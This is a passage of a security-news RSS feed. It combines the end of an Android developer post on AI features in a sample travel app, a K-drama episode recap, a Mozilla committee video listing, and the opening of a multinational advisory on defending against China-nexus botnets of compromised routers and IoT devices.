<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1848/on-device-features.png"><img border="0" data-original-height="1256" data-original-width="1848" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1600/on-device-features.png"></a></div><div><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></div><p>Using an on-device model comes with <b>no additional cloud inference</b> costs, means you don't have to worry about <b>internet connectivity</b>, and lets users be confident that private information will be <b>processed locally</b>, on the device, without any of their data being sent to the cloud.</p>

<p>In Jetpacker, we chose on-device inference for three of our features:</p>
<ul>
  <li>The <b>trip overview</b> feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit GenAI APIs</a> to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.</li>
  <li>The <b>expense tracker</b> automatically extracts structured data from receipt images to help users track their travel spending. It uses the <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started#provide-multimodal">multimodal capabilities</a> of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.</li>
  <li>The <b>audio diary </b>records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit Speech Recognition</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">GenAI Prompt APIs</a>. We chose an on-device solution for privacy and connectivity reasons.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html" target="_blank">Cloud &amp; hybrid inference</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s2722/cloud-hybrid-features.png"><img border="0" data-original-height="1632" data-original-width="2722" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s1600/cloud-hybrid-features.png"></a></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.</i></div></i><p>Sometimes your use-case requires AI models with <b>greater world knowledge</b> or a much <b>larger context window</b> and with greater ability in <b>handling complex tasks</b>. In that case, we can switch from running an on-device model to using a cloud model instead.</p>

<p>Or, if you want to get the best of both worlds, you can use hybrid inference to <b>dynamically choose</b> either a cloud or on-device model at runtime. This allows us to <b>lower costs</b> by moving inference to the device when it is available, but at the same time <b>support all Android devices</b> running the app.</p>

<p>In Jetpacker, we implemented several features using cloud or hybrid inference:</p>
<ul>
  <li>The <b>place Q&amp;A</b> feature answers user questions about specific locations by grounding responses in real-world data. It uses <a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> integrated with <a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Google Maps</a> and <a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">web context</a>. Using a cloud model is necessary here for its greater world knowledge.</li>
  <li>The <b>review drafting</b> feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Hybrid inference API</a>. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.</li>
  <li>The <b>automatic chat translation</b> dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">System integration</a></h2><div>
  
  
</div>
<p>While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the <a href="https://developer.android.com/ai/appfunctions">AppFunctions API</a> to integrate with system-level intelligence.</p>

<h2>In-app agentic workflows (coming soon!)</h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/s1618/agentic-feature-booking-assistant%20(1).png"><img border="0" data-original-height="1618" data-original-width="844" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/w209-h400/agentic-feature-booking-assistant%20(1).png" width="209"></a></div><i><div><i>The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.</i></div></i><p>Agenticness introduces a higher level of<b> autonomy</b>, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to <b>reason</b>, use <b>tools</b>, and <b>adapt </b>its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.</p>

<p>For Jetpacker we added a <b>booking assistant</b> that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using <a href="https://a2ui.org/">A2UI</a> and <a href="https://adk.dev/">ADK</a> running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.</p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1 (this post!):</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b></a> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Agent Kim Reactivated’ Episode 9 Recap: Kim and His Team Fight Their Way Out]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 9 pushes Kim and his allies into another dangerous escape mission after his carefully prepared operation falls apart. With Min-ji’s safety still uncertain, Kim joins forces with Han-su, Jin-cheol, and Sang-a while Kang-chan prepares another cruel surprise.




Releas...]]></description>
<link>https://tsecurity.de/de/3693443/ios-mac-os/agent-kim-reactivated-episode-9-recap-kim-and-his-team-fight-their-way-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693443/ios-mac-os/agent-kim-reactivated-episode-9-recap-kim-and-his-team-fight-their-way-out/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 9 pushes Kim and his allies into another dangerous escape mission after his carefully prepared operation falls apart. With Min-ji’s safety still uncertain, Kim joins forces with Han-su, Jin-cheol, and Sang-a while Kang-chan prepares another cruel surprise.




Release date: July 24, 2026



Streaming platform: Netflix



Total episodes: 10



Finale release date: July 25, 2026




The Korean drama follows an ordinary office worker who reveals his past as a highly trained black-ops agent after his daughter disappears. The series stars So Ji-sub as Manager Kim, alongside Choi Dae-hoon, Yoon Kyung-ho, Joo Sang-wook, Son Na-eun, and Seo Su-min.



Spoilers ahead for Agent Kim Reactivated Episode 9



Episode 9 begins with Kim’s latest operation failing to go according to plan. After being captured and tortured in the previous episode, Kim remains trapped between the National Special Missions Bureau, enemies from his past, and Kang-chan’s personal revenge campaign.



Kim refuses to surrender because reaching Min-ji remains his only priority. He once again relies on the skills he spent years hiding, although the episode makes it clear that he cannot complete this mission alone.



Han-su and Jin-cheol return to help their old friend, bringing their familiar mix of action and humour into the tense situation. Sang-a also becomes an important part of the escape plan. Together, the four characters attempt to break free before Kang-chan can carry out the next stage of his revenge.



Kang-chan reveals another plan



The biggest problem is that Kang-chan has already expected Kim to fight back. He keeps another secret weapon ready, forcing Kim and the other fathers to change their strategy while they are already under pressure.



Kang-chan’s actions continue the conflict that began with the bullying involving Min-ji and Hye-ri. What started as a dispute between their daughters has grown into a violent battle shaped by pride, power, and revenge.



The episode also brings the three fathers closer together. Han-su and Jin-cheol understand that Kim will risk his life for Min-ji, so they choose to remain beside him even when the chances of escaping become smaller.



Where is the story heading?



Episode 9 serves as the final setup before the conclusion. Kim has survived capture, reunited with Min-ji, and faced people connected to his hidden life, but Kang-chan still controls the final threat.



The remaining conflict now depends on whether Kim can protect his daughter without losing the friends who followed him into danger. The extended finale airs on July 25 at 9:45 p.m. KST, five minutes earlier than the show’s usual broadcast time.



What did you think about Kim, Han-su, Jin-cheol, and Sang-a’s escape mission in Agent Kim Reactivated Episode 9? Let us know what you expect from the finale in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Design System Governance Committee: 24 February 2026]]></title>
<description><![CDATA[Author: Mozilla Thunderbird - Bewertung: 6x - Views:160 In the February meeting, the Bolt Design System Committee aligns on initial setup and ownership for the Bolt Design System repo, began defining cross-platform icon naming conventions, plus works towards component exposure in the documentatio...]]></description>
<link>https://tsecurity.de/de/3693436/video/design-system-governance-committee-24-february-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693436/video/design-system-governance-committee-24-february-2026/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:10 +0200</pubDate>
<category>🎥 Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Mozilla Thunderbird - Bewertung: 6x - Views:160 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/1L2HisD3PeQ?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>In the February meeting, the Bolt Design System Committee aligns on initial setup and ownership for the Bolt Design System repo, began defining cross-platform icon naming conventions, plus works towards component exposure in the documentation site.<br />
<br />
Have any questions or want to join the conversation? Come find us in our Matrix room (https://matrix.to/#/#bolt-design-system:mozilla.org). New to Matrix? Find a Quick Start guide here: https://matrixdocs.github.io/docs/getting-started/quick-start<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
